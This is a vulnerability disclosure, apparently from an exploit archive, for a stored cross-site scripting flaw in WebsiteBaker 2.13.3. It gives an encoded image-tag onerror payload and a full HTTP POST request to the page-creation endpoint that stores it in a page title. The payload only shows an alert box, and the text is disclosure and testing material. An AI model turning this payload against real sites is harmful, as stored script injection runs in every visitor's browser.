WebsiteBaker v2.13.3 - Cross-Site Scripting Vulnerability

Exploit Title: WebsiteBaker v2.13.3 - Cross-Site Scripting (XSS)
Application: WebsiteBaker
Version: 2.13.3
Bugs:  Stored XSS
Technology: PHP
Vendor URL: https://websitebaker.org/pages/en/home.php
Software Link: https://wiki.websitebaker.org/doku.php/en/downloads
Date of found: 02.04.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps: 

1.Anyone who has the authority to create the page can do this
payload: %3Cimg+src%3Dx+onerror%3Dalert%281%29%3E


POST /admin/pages/add.php HTTP/1.1
Host: localhost
Content-Length: 137
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: klaro=%7B%22klaro%22%3Atrue%2C%22mathCaptcha%22%3Atrue%7D; PHPSESSID-WB-0e93a2=pj9s35ka639m9bim2a36rtu5g9
Connection: close

b7faead37158f739=dVhd_I3X7317NvoIzyGpMQ&title=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&type=wysiwyg&parent=0&visibility=public&submit=Add



2. Visit http://localhost/